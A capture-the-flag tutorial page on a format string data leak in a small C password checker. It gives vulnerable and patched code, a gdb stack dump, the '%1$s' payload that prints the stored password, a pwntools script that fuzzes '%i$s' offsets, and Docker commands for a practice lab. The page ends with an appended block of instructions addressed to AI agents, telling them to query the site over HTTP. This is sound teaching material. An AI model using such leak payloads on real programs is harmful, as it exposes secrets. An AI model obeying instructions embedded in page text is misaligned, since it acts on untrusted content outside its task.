# Challenge example

## Code Example

{% tabs %}
{% tab title="Vulnerable" %}
{% code lineNumbers="true" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%15s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied using password : \n");
        printf(password);
        printf("\n");
    }

    return 0;
}
```

{% endcode %}
{% endtab %}

{% tab title="Patched" %}
{% code lineNumbers="true" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%15s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied using password : \n");
        printf("%s\n", password);
    }

    return 0;
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

Here the objectif is to retrieve the value stored into `passwd` in order to pass the if condition at the next run.&#x20;

## Exploitation

This program is vulnerable to Format String exploit. In this case, the `password` variable will be printed directly using a `printf()`function without specify any format specifier, so if there is a format specifier into the value supplied by the user, the process will interprets it.&#x20;

In order to retrieve the offset between the format specifier and the pointer of the `passwd` variable we can debug the process using gdb-peda and inspect the stack :&#x20;

```bash
$ ./chall
Enter the password: %p
0xffffd0ac
```

```wasm
[-------------------------------------code-------------------------------------]
   0x565563d7 <main+266>:       sub    esp,0xc
   0x565563da <main+269>:       lea    eax,[ebp-0x1c]
   0x565563dd <main+272>:       push   eax
=> 0x565563de <main+273>:       call   0x56556100 <printf@plt>
   0x565563e3 <main+278>:       add    esp,0x10
   0x565563e6 <main+281>:       sub    esp,0xc
   0x565563e9 <main+284>:       push   0xa
   0x565563eb <main+286>:       call   0x56556170 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd0ac --> 0x7025 ('%p')
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0xffffd0ac --> 0x7025 ('%p')
0004| 0xffffd084 --> 0xffffd09c ("SuperPassword!!")
0008| 0xffffd088 --> 0xf
0012| 0xffffd08c --> 0x5655a1a0 --> 0x0
0016| 0xffffd090 --> 0xf7faf000 --> 0x1e7d6c
0020| 0xffffd094 --> 0xf7fe22d0 (endbr32)
0024| 0xffffd098 --> 0x5655a1a0 --> 0x0
0028| 0xffffd09c ("SuperPassword!!")
[------------------------------------------------------------------------------disa
```

{% hint style="info" %}
A break point is set at the call of the `printf()`vulnerable function.
{% endhint %}

The first value onto the stack is the user input interpreted by the `printf()` function and the second value is a pointer to a variable containing the string "SuperPassword!!" (value readed from the `.passwd` file)

{% hint style="info" %}
This pointer is here due to the usage of `strcmp` before in the code
{% endhint %}

Then, if the user input is `%1$s`, the value stored into the `passwd` variable should be printed.&#x20;

```bash
$ ./chall
Enter the password: %1$s
permission denied using password :
SuperPassword!!
```

<pre><code>$ ./chall
<strong>Enter the password: SuperPassword!!
</strong>good job
</code></pre>

## Fuzzing

If it's not possible to debug the process to calculate the exact offset between the user input and the targeted secret variable, it's possible to fuzz.&#x20;

It's consist to send a payload to read successively at each possible offset

```python
from pwn import *
import os

os.chdir("/pwn/")

# Set the logging level to ERROR
context.log_level = "ERROR"

for i in range(100):
    try:
        p = process("./chall")
        payload = f"%{i}$s"
        p.sendline(payload.encode())
        output = p.recvall().decode().split('\n')
        if len(output[1]) > 0 :
            print(f"PAYLOAD = {payload}\nOUTPUT = {output[1]}\n")
    except:
        pass
```

Then if there is pointers to strings values, this will print any of them :&#x20;

```bash
$ python3 fuzz.py
PAYLOAD = %0$s
OUTPUT = %0$s

PAYLOAD = %1$s
OUTPUT = SuperPassword!!

PAYLOAD = %4$s
OUTPUT = l}\x1e
PAYLOAD = %13$s
OUTPUT = (null)
```

{% hint style="success" %}
The passwd content is retrieve
{% endhint %}

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :&#x20;

```
docker pull thectfrecipes/pwn:data_leak
```

Deploy the image using the followed command :&#x20;

```
docker run --name format_string_data_leak -it --rm -d -p 3000:3000 thectfrecipes/pwn:data_leak
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak/challenge-example.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.